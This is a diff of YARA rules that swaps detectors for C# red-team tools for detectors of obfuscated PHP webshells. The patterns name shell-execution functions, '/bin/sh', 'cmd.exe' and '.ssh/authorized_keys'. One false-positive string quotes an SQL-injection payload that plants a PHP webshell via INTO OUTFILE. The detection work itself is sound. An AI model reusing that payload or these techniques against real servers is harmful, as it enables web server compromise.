-		$typelibguid0lo = "78642ab3-eaa6-4e9c-a934-e7b0638bc1cc" ascii wide
-		$typelibguid0up = "78642AB3-EAA6-4E9C-A934-E7B0638BC1CC" ascii wide
+		$payload1 = "str_replace" fullword wide ascii
+		$payload2 = "function" fullword wide ascii
+		$goto = "goto" fullword wide ascii
+		$chr1 = "\\61" wide ascii
+		$chr2 = "\\112" wide ascii
+		$chr3 = "\\120" wide ascii
+		$php_short = "<?" wide ascii
+		$no_xml1 = "<?xml version" nocase wide ascii
+		$no_xml2 = "<?xml-stylesheet" nocase wide ascii
+		$no_asp1 = "<%@LANGUAGE" nocase wide ascii
+		$no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
+		$no_pdf = "<?xpacket"
+		$php_new1 = /<\?=[^?]/ wide ascii
+		$php_new2 = "<?php" nocase wide ascii
+		$php_new3 = "<script language=\"php" nocase wide ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <300KB and ((($php_short in (0..100) or $php_short in ( filesize -1000.. filesize )) and not any of ($no_*)) or any of ($php_new*)) and any of ($payload*) and #goto>1 and (#chr1>10 or #chr2>10 or #chr3>10)
 }
-import "pe"
+import "math"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_LOLBITS : FILE
+rule SIGNATURE_BASE_WEBSHELL_PHP_OBFUSC_Fopo : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
+		description = "PHP webshell which eval()s obfuscated string"
 		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "66454ac0-742b-51a3-ac45-1ac9606e8b89"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/Kudaes/LOLBITS"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L2323-L2337"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8c60938c037017f5b0ee355aec23fc8b7c629202457edaec01ab5a5ed94dc2f1"
+		id = "a298e99d-1ba8-58c8-afb9-fc988ea91e9a"
+		date = "2021-01-12"
+		modified = "2023-04-05"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_webshells.yar#L1402-L1462"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "fbcff8ea5ce04fc91c05384e847f2c316e013207"
+		hash = "6da57ad8be1c587bb5cc8a1413f07d10fb314b72"
+		hash = "a698441f817a9a72908a0d93a34133469f33a7b34972af3e351bdccae0737d99"
+		logic_hash = "076c0c256e5951cdcb2b7bc55030f55bec48c1bea953b8bd85559a3230e387ae"
 		score = 75
-		quality = 85
+		quality = 40
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		importance = 70
 
 	strings:
-		$typelibguid0lo = "29d09aa4-ea0c-47c2-973c-1d768087d527" ascii wide
-		$typelibguid0up = "29D09AA4-EA0C-47C2-973C-1D768087D527" ascii wide
+		$payload = /(\beval[\t ]{0,500}\([^)]|\bassert[\t ]{0,500}\([^)])/ nocase wide ascii
+		$one1 = "7QGV2YWwo" wide ascii
+		$one2 = "tAZXZhbC" wide ascii
+		$one3 = "O0BldmFsK" wide ascii
+		$one4 = "sAQABlAHYAYQBsACgA" wide ascii
+		$one5 = "7AEAAZQB2AGEAbAAoA" wide ascii
+		$one6 = "OwBAAGUAdgBhAGwAKA" wide ascii
+		$two1 = "7QGFzc2VydC" wide ascii
+		$two2 = "tAYXNzZXJ0K" wide ascii
+		$two3 = "O0Bhc3NlcnQo" wide ascii
+		$two4 = "sAQABhAHMAcwBlAHIAdAAoA" wide ascii
+		$two5 = "7AEAAYQBzAHMAZQByAHQAKA" wide ascii
+		$two6 = "OwBAAGEAcwBzAGUAcgB0ACgA" wide ascii
+		$php_short = "<?" wide ascii
+		$no_xml1 = "<?xml version" nocase wide ascii
+		$no_xml2 = "<?xml-stylesheet" nocase wide ascii
+		$no_asp1 = "<%@LANGUAGE" nocase wide ascii
+		$no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
+		$no_pdf = "<?xpacket"
+		$php_new1 = /<\?=[^?]/ wide ascii
+		$php_new2 = "<?php" nocase wide ascii
+		$php_new3 = "<script language=\"php" nocase wide ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <3000KB and ((($php_short in (0..100) or $php_short in ( filesize -1000.. filesize )) and not any of ($no_*)) or any of ($php_new*)) and $payload and ( any of ($one*) or any of ($two*))
 }
-import "pe"
+import "math"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Keylogger : FILE
+rule SIGNATURE_BASE_WEBSHELL_PHP_Gzinflated : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
+		description = "PHP webshell which directly eval()s obfuscated string"
 		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "0576756e-26d5-5165-b621-917126a75a38"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/BlackVikingPro/Keylogger"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L2339-L2353"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "37cd0615243abc0a2d29220285aabcaa75824ab1bc9b8ab395d90c1851a0159a"
+		id = "9cf99ae4-9f7c-502f-9294-b531002953d6"
+		date = "2021-01-12"
+		modified = "2023-07-05"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_webshells.yar#L1464-L1537"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "49e5bc75a1ec36beeff4fbaeb16b322b08cf192d"
+		hash = "6f36d201cd32296bad9d5864c7357e8634f365cc"
+		hash = "ab10a1e69f3dfe7c2ad12b2e6c0e66db819c2301"
+		hash = "a6cf337fe11fe646d7eee3d3f09c7cb9643d921d"
+		hash = "07eb6634f28549ebf26583e8b154c6a579b8a733"
+		logic_hash = "d2edb7050c986a00889fd01b709ec0aa1409ce2e40a15b7942562d12596b190e"
 		score = 75
-		quality = 85
+		quality = 32
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		importance = 70
 
 	strings:
-		$typelibguid0lo = "7afbc9bf-32d9-460f-8a30-35e30aa15879" ascii wide
-		$typelibguid0up = "7AFBC9BF-32D9-460F-8A30-35E30AA15879" ascii wide
+		$payload2 = /eval\s?\(\s?("\?>".)?gzinflate\s?\(\s?base64_decode\s?\(/ wide ascii nocase
+		$payload4 = /eval\s?\(\s?("\?>".)?gzuncompress\s?\(\s?(base64_decode|gzuncompress)/ wide ascii nocase
+		$payload6 = /eval\s?\(\s?("\?>".)?gzdecode\s?\(\s?base64_decode\s?\(/ wide ascii nocase
+		$payload7 = /eval\s?\(\s?base64_decode\s?\(/ wide ascii nocase
+		$payload8 = /eval\s?\(\s?pack\s?\(/ wide ascii nocase
+		$fp1 = "YXBpLnRlbGVncmFtLm9"
+		$gfp1 = "eval(\"return [$serialised_parameter"
+		$gfp2 = "$this->assert(strpos($styles, $"
+		$gfp3 = "$module = new $_GET['module']($_GET['scope']);"
+		$gfp4 = "$plugin->$_POST['action']($_POST['id']);"
+		$gfp5 = "$_POST[partition_by]($_POST["
+		$gfp6 = "$object = new $_REQUEST['type']($_REQUEST['id']);"
+		$gfp7 = "The above example code can be easily exploited by passing in a string such as"
+		$gfp8 = "Smarty_Internal_Debug::start_render($_template);"
+		$gfp9 = "?p4yl04d=UNION%20SELECT%20'<?%20system($_GET['command']);%20?>',2,3%20INTO%20OUTFILE%20'/var/www/w3bsh3ll.php"
+		$gfp10 = "[][}{;|]\\|\\\\[+=]\\|<?=>?"
+		$gfp11 = "(eval (getenv \"EPROLOG\")))"
+		$gfp12 = "ZmlsZV9nZXRfY29udGVudHMoJ2h0dHA6Ly9saWNlbnNlLm9wZW5jYXJ0LWFwaS5jb20vbGljZW5zZS5waHA/b3JkZXJ"
+		$php_short = "<?" wide ascii
+		$no_xml1 = "<?xml version" nocase wide ascii
+		$no_xml2 = "<?xml-stylesheet" nocase wide ascii
+		$no_asp1 = "<%@LANGUAGE" nocase wide ascii
+		$no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
+		$no_pdf = "<?xpacket"
+		$php_new1 = /<\?=[^?]/ wide ascii
+		$php_new2 = "<?php" nocase wide ascii
+		$php_new3 = "<script language=\"php" nocase wide ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <700KB and not ( any of ($gfp*)) and ((($php_short in (0..100) or $php_short in ( filesize -1000.. filesize )) and not any of ($no_*)) or any of ($php_new*)) and 1 of ($payload*) and not any of ($fp*)
 }
-import "pe"
+import "math"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_CVE_2020_1337 : FILE
+rule SIGNATURE_BASE_WEBSHELL_PHP_OBFUSC_3 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
+		description = "PHP webshell which eval()s obfuscated string"
 		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "4b79867d-761c-5aa8-bf8a-60caa50d8aa6"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/neofito/CVE-2020-1337"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L2355-L2369"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f9a7d47861d19bb312cd75cd2edf66c8df02a0685a3eb5a1dd413e7b1c3c8234"
+		id = "f2017e6f-0623-53ff-aa26-a479f3a02024"
+		date = "2021-04-17"
+		modified = "2024-03-11"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_webshells.yar#L1539-L1844"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "11bb1fa3478ec16c00da2a1531906c05e9c982ea"
+		hash = "d6b851cae249ea6744078393f622ace15f9880bc"
+		hash = "14e02b61905cf373ba9234a13958310652a91ece"
+		hash = "6f97f607a3db798128288e32de851c6f56e91c1d"
+		logic_hash = "904deddb937c39cd5aab3cdeccb8101e87c909a70f52bed1c9f7e3e4c923e685"
 		score = 75
-		quality = 85
+		quality = -298
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		importance = 70
 
 	strings:
-		$typelibguid0lo = "d9c2e3c1-e9cc-42b0-a67c-b6e1a4f962cc" ascii wide
-		$typelibguid0up = "D9C2E3C1-E9CC-42B0-A67C-B6E1A4F962CC" ascii wide
+		$obf1 = "chr(" wide ascii
+		$php_short = "<?" wide ascii
+		$no_xml1 = "<?xml version" nocase wide ascii
+		$no_xml2 = "<?xml-stylesheet" nocase wide ascii
+		$no_asp1 = "<%@LANGUAGE" nocase wide ascii
+		$no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
+		$no_pdf = "<?xpacket"
+		$php_new1 = /<\?=[^?]/ wide ascii
+		$php_new2 = "<?php" nocase wide ascii
+		$php_new3 = "<script language=\"php" nocase wide ascii
+		$callback1 = /\bob_start[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$callback2 = /\barray_diff_uassoc[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$callback3 = /\barray_diff_ukey[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$callback4 = /\barray_filter[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$callback5 = /\barray_intersect_uassoc[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$callback6 = /\barray_intersect_ukey[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$callback7 = /\barray_map[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$callback8 = /\barray_reduce[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$callback9 = /\barray_udiff_assoc[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$callback10 = /\barray_udiff_uassoc[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$callback11 = /\barray_udiff[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$callback12 = /\barray_uintersect_assoc[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$callback13 = /\barray_uintersect_uassoc[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$callback14 = /\barray_uintersect[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$callback15 = /\barray_walk_recursive[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$callback16 = /\barray_walk[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$callback17 = /\bassert_options[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$callback18 = /\buasort[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$callback19 = /\buksort[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$callback20 = /\busort[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$callback21 = /\bpreg_replace_callback[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$callback22 = /\bspl_autoload_register[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$callback23 = /\biterator_apply[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$callback24 = /\bcall_user_func[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$callback25 = /\bcall_user_func_array[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$callback26 = /\bregister_shutdown_function[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$callback27 = /\bregister_tick_function[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$callback28 = /\bset_error_handler[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$callback29 = /\bset_exception_handler[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$callback30 = /\bsession_set_save_handler[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$callback31 = /\bsqlite_create_aggregate[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$callback32 = /\bsqlite_create_function[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$callback33 = /\bmb_ereg_replace_callback[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$m_callback1 = /\bfilter_var[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$m_callback2 = "FILTER_CALLBACK" fullword wide ascii
+		$cfp1 = /ob_start\(['\"]ob_gzhandler/ nocase wide ascii
+		$cfp2 = "IWPML_Backend_Action_Loader" ascii wide
+		$cfp3 = "<?phpclass WPML" ascii
+		$cpayload1 = /\beval[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$cpayload2 = /\bexec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$cpayload3 = /\bshell_exec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$cpayload4 = /\bpassthru[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$cpayload5 = /\bsystem[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$cpayload6 = /\bpopen[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$cpayload7 = /\bproc_open[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$cpayload8 = /\bpcntl_exec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$cpayload9 = /\bassert[\n\t ]{0,500}\([^)0]/ nocase wide ascii
+		$cpayload10 = /\bpreg_replace[\n\t ]{0,500}\([^\)]{1,100}\/[ismxADSUXju]{0,11}(e|\\x65)/ nocase wide ascii
+		$cpayload12 = /\bmb_ereg_replace[\t ]{0,500}\([^\)]{1,100}'e'/ nocase wide ascii
+		$cpayload13 = /\bmb_eregi_replace[\t ]{0,500}\([^\)]{1,100}'e'/ nocase wide ascii
+		$cpayload20 = /\bcreate_function[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$cpayload21 = /\bReflectionFunction[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$cpayload22 = /fetchall\(PDO::FETCH_FUNC[\n\t ]{0,500}[,}\)]/ nocase wide ascii
+		$m_cpayload_preg_filter1 = /\bpreg_filter[\n\t ]{0,500}(\([^\)]|\/\*)/ nocase wide ascii
+		$m_cpayload_preg_filter2 = "'|.*|e'" nocase wide ascii
+		$cobfs1 = "gzinflate" fullword nocase wide ascii
+		$cobfs2 = "gzuncompress" fullword nocase wide ascii
+		$cobfs3 = "gzdecode" fullword nocase wide ascii
+		$cobfs4 = "base64_decode" fullword nocase wide ascii
+		$cobfs5 = "pack" fullword nocase wide ascii
+		$cobfs6 = "undecode" fullword nocase wide ascii
+		$gen_bit_sus1 = /:\s{0,20}eval}/ nocase wide ascii
+		$gen_bit_sus2 = /\.replace\(\/\w\/g/ nocase wide ascii
+		$gen_bit_sus6 = "self.delete"
+		$gen_bit_sus9 = "\"cmd /c" nocase
+		$gen_bit_sus10 = "\"cmd\"" nocase
+		$gen_bit_sus11 = "\"cmd.exe" nocase
+		$gen_bit_sus12 = "%comspec%" wide ascii
+		$gen_bit_sus13 = "%COMSPEC%" wide ascii
+		$gen_bit_sus18 = "Hklm.GetValueNames();" nocase
+		$gen_bit_sus19 = "http://schemas.microsoft.com/exchange/" wide ascii
+		$gen_bit_sus21 = "\"upload\"" wide ascii
+		$gen_bit_sus22 = "\"Upload\"" wide ascii
+		$gen_bit_sus23 = "UPLOAD" fullword wide ascii
+		$gen_bit_sus24 = "fileupload" wide ascii
+		$gen_bit_sus25 = "file_upload" wide ascii
+		$gen_bit_sus29 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" fullword wide ascii
+		$gen_bit_sus29b = "abcdefghijklmnopqrstuvwxyz234567" fullword wide ascii
+		$gen_bit_sus30 = "serv-u" wide ascii
+		$gen_bit_sus31 = "Serv-u" wide ascii
+		$gen_bit_sus32 = "Army" fullword wide ascii
+		$gen_bit_sus33 = /\$_(GET|POST|REQUEST)\["\w"\]/ fullword wide ascii
+		$gen_bit_sus34 = "Content-Transfer-Encoding: Binary" wide ascii
+		$gen_bit_sus35 = "crack" fullword wide ascii
+		$gen_bit_sus44 = "<pre>" wide ascii
+		$gen_bit_sus45 = "<PRE>" wide ascii
+		$gen_bit_sus46 = "shell_" wide ascii
+		$gen_bit_sus50 = "bypass" wide ascii
+		$gen_bit_sus52 = " ^ $" wide ascii
+		$gen_bit_sus53 = ".ssh/authorized_keys" wide ascii
+		$gen_bit_sus55 = /\w'\.'\w/ wide ascii
+		$gen_bit_sus56 = /\w\"\.\"\w/ wide ascii
+		$gen_bit_sus57 = "dumper" wide ascii
+		$gen_bit_sus59 = "'cmd'" wide ascii
+		$gen_bit_sus60 = "\"execute\"" wide ascii
+		$gen_bit_sus61 = "/bin/sh" wide ascii
+		$gen_bit_sus62 = "Cyber" wide ascii
+		$gen_bit_sus63 = "portscan" fullword wide ascii
+		$gen_bit_sus66 = "whoami" fullword wide ascii
+		$gen_bit_sus67 = "$password='" fullword wide ascii
+		$gen_bit_sus68 = "$password=\"" fullword wide ascii
+		$gen_bit_sus69 = "$cmd" fullword wide ascii
+		$gen_bit_sus70 = "\"?>\"." fullword wide ascii
+		$gen_bit_sus71 = "Hacking" fullword wide ascii
+		$gen_bit_sus72 = "hacking" fullword wide ascii
+		$gen_bit_sus73 = ".htpasswd" wide ascii
+		$gen_bit_sus74 = /\btouch\(\$[^,]{1,30},/ wide ascii
+		$gen_much_sus7 = "Web Shell" nocase
+		$gen_much_sus8 = "WebShell" nocase
+		$gen_much_sus3 = "hidded shell"
+		$gen_much_sus4 = "WScript.Shell.1" nocase
+		$gen_much_sus5 = "AspExec"
+		$gen_much_sus14 = "\\pcAnywhere\\" nocase
+		$gen_much_sus15 = "antivirus" nocase
+		$gen_much_sus16 = "McAfee" nocase
+		$gen_much_sus17 = "nishang"
+		$gen_much_sus18 = "\"unsafe" fullword wide ascii
+		$gen_much_sus19 = "'unsafe" fullword wide ascii
+		$gen_much_sus24 = "exploit" fullword wide ascii
+		$gen_much_sus25 = "Exploit" fullword wide ascii
+		$gen_much_sus26 = "TVqQAAMAAA" wide ascii
+		$gen_much_sus30 = "Hacker" wide ascii
+		$gen_much_sus31 = "HACKED" fullword wide ascii
+		$gen_much_sus32 = "hacked" fullword wide ascii
+		$gen_much_sus33 = "hacker" wide ascii
+		$gen_much_sus34 = "grayhat" nocase wide ascii
+		$gen_much_sus35 = "Microsoft FrontPage" wide ascii
+		$gen_much_sus36 = "Rootkit" wide ascii
+		$gen_much_sus37 = "rootkit" wide ascii
+		$gen_much_sus38 = "/*-/*-*/" wide ascii
+		$gen_much_sus39 = "u\"+\"n\"+\"s" wide ascii
+		$gen_much_sus40 = "\"e\"+\"v" wide ascii
+		$gen_much_sus41 = "a\"+\"l\"" wide ascii
+		$gen_much_sus42 = "\"+\"(\"+\"" wide ascii
+		$gen_much_sus43 = "q\"+\"u\"" wide ascii
+		$gen_much_sus44 = "\"u\"+\"e" wide ascii
+		$gen_much_sus45 = "/*//*/" wide ascii
+		$gen_much_sus46 = "(\"/*/\"" wide ascii
+		$gen_much_sus47 = "eval(eval(" wide ascii
+		$gen_much_sus48 = "unlink(__FILE__)" wide ascii
+		$gen_much_sus49 = "Shell.Users" wide ascii
+		$gen_much_sus50 = "PasswordType=Regular" wide ascii
+		$gen_much_sus51 = "-Expire=0" wide ascii
+		$gen_much_sus60 = "_=$$_" wide ascii
+		$gen_much_sus61 = "_=$$_" wide ascii
+		$gen_much_sus62 = "++;$" wide ascii
+		$gen_much_sus63 = "++; $" wide ascii
+		$gen_much_sus64 = "_.=$_" wide ascii
+		$gen_much_sus70 = "-perm -04000" wide ascii
+		$gen_much_sus71 = "-perm -02000" wide ascii
+		$gen_much_sus72 = "grep -li password" wide ascii
+		$gen_much_sus73 = "-name config.inc.php" wide ascii
+		$gen_much_sus75 = "password crack" wide ascii
+		$gen_much_sus76 = "mysqlDll.dll" wide ascii
+		$gen_much_sus77 = "net user" wide ascii
+		$gen_much_sus80 = "fopen(\".htaccess\",\"w" wide ascii
+		$gen_much_sus81 = /strrev\(['"]/ wide ascii
+		$gen_much_sus82 = "PHPShell" fullword wide ascii
+		$gen_much_sus821 = "PHP Shell" fullword wide ascii
+		$gen_much_sus83 = "phpshell" fullword wide ascii
+		$gen_much_sus84 = "PHPshell" fullword wide ascii
+		$gen_much_sus87 = "deface" wide ascii
+		$gen_much_sus88 = "Deface" wide ascii
+		$gen_much_sus89 = "backdoor" wide ascii
+		$gen_much_sus90 = "r00t" fullword wide ascii
+		$gen_much_sus91 = "xp_cmdshell" fullword wide ascii
+		$gen_much_sus92 = "base64_decode(base64_decode(" fullword wide ascii
+		$gen_much_sus93 = "eval(\"/*" wide ascii
+		$gen_much_sus94 = "=$_COOKIE;" wide ascii
+		$gif = { 47 49 46 38 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		((($php_short in (0..100) or $php_short in ( filesize -1000.. filesize )) and not any of ($no_*)) or any of ($php_new*)) and (( not any of ($cfp*) and ( any of ($callback*) or all of ($m_callback*))) or ( any of ($cpayload*) or all of ($m_cpayload_preg_filter*))) and ( any of ($cobfs*)) and ( filesize <1KB or ( filesize <3KB and (($gif at 0 or ( filesize <4KB and (1 of ($gen_much_sus*) or 2 of ($gen_bit_sus*))) or ( filesize <20KB and (2 of ($gen_much_sus*) or 3 of ($gen_bit_sus*))) or ( filesize <50KB and (2 of ($gen_much_sus*) or 4 of ($gen_bit_sus*))) or ( filesize <100KB and (2 of ($gen_much_sus*) or 6 of ($gen_bit_sus*))) or ( filesize <150KB and (3 of ($gen_much_sus*) or 7 of ($gen_bit_sus*))) or ( filesize <500KB and (4 of ($gen_much_sus*) or 8 of ($gen_bit_sus*)))) or #obf1>10)))
 }
-import "pe"
+import "math"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharplogger : FILE
+rule SIGNATURE_BASE_WEBSHELL_PHP_Includer_Eval : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
+		description = "PHP webshell which eval()s another included file"
 		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "5cce395b-4f6f-5015-b45e-7eb79853296a"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/djhohnstein/SharpLogger"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L2371-L2385"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a5118f0df57a4d9b0a7d682a016866ef5ae20c52e078223d72fc060774e17f48"
+		id = "995fcc34-f91e-5c9c-97b1-84eed1714d40"
+		date = "2021-01-13"
+		modified = "2023-04-05"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_webshells.yar#L1846-L1895"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "3a07e9188028efa32872ba5b6e5363920a6b2489"
+		hash = "ab771bb715710892b9513b1d075b4e2c0931afb6"
+		hash = "202dbcdc2896873631e1a0448098c820c82bcc8385a9f7579a0dc9702d76f580"
+		hash = "b51a6d208ec3a44a67cce16dcc1e93cdb06fe150acf16222815333ddf52d4db8"
+		logic_hash = "a7e9632c495e5d4cc883e2593c8ebe41cdf6a18b54bd6dfd3aec85352f19321c"
 		score = 75
-		quality = 85
+		quality = 46
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		importance = 70
 
 	strings:
-		$typelibguid0lo = "36e00152-e073-4da8-aa0c-375b6dd680c4" ascii wide
-		$typelibguid0up = "36E00152-E073-4DA8-AA0C-375B6DD680C4" ascii wide
+		$payload1 = "eval" fullword wide ascii
+		$payload2 = "assert" fullword wide ascii
+		$include1 = "$_FILE" wide ascii
+		$include2 = "include" wide ascii
+		$php_short = "<?" wide ascii
+		$no_xml1 = "<?xml version" nocase wide ascii
+		$no_xml2 = "<?xml-stylesheet" nocase wide ascii
+		$no_asp1 = "<%@LANGUAGE" nocase wide ascii
+		$no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
+		$no_pdf = "<?xpacket"
+		$php_new1 = /<\?=[^?]/ wide ascii
+		$php_new2 = "<?php" nocase wide ascii
+		$php_new3 = "<script language=\"php" nocase wide ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <200 and ((($php_short in (0..100) or $php_short in ( filesize -1000.. filesize )) and not any of ($no_*)) or any of ($php_new*)) and 1 of ($payload*) and 1 of ($include*)
 }
-import "pe"
+import "math"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Asyncrat_C_Sharp : FILE
+rule SIGNATURE_BASE_WEBSHELL_PHP_Includer_Tiny : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
+		description = "Suspicious: Might be PHP webshell includer, check the included file"
 		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "858a079d-71e8-516e-a2a9-f0969edc758b"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L2387-L2421"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "efb1c38e502483c25f8b81d6485f11130ed91a31a4dc64486db5c8bf2e8b1a53"
+		id = "9bf96ddc-d984-57eb-9803-0b01890711b5"
+		date = "2021-04-17"
+		modified = "2023-07-05"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_webshells.yar#L1897-L1942"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "0687585025f99596508783b891e26d6989eec2ba"
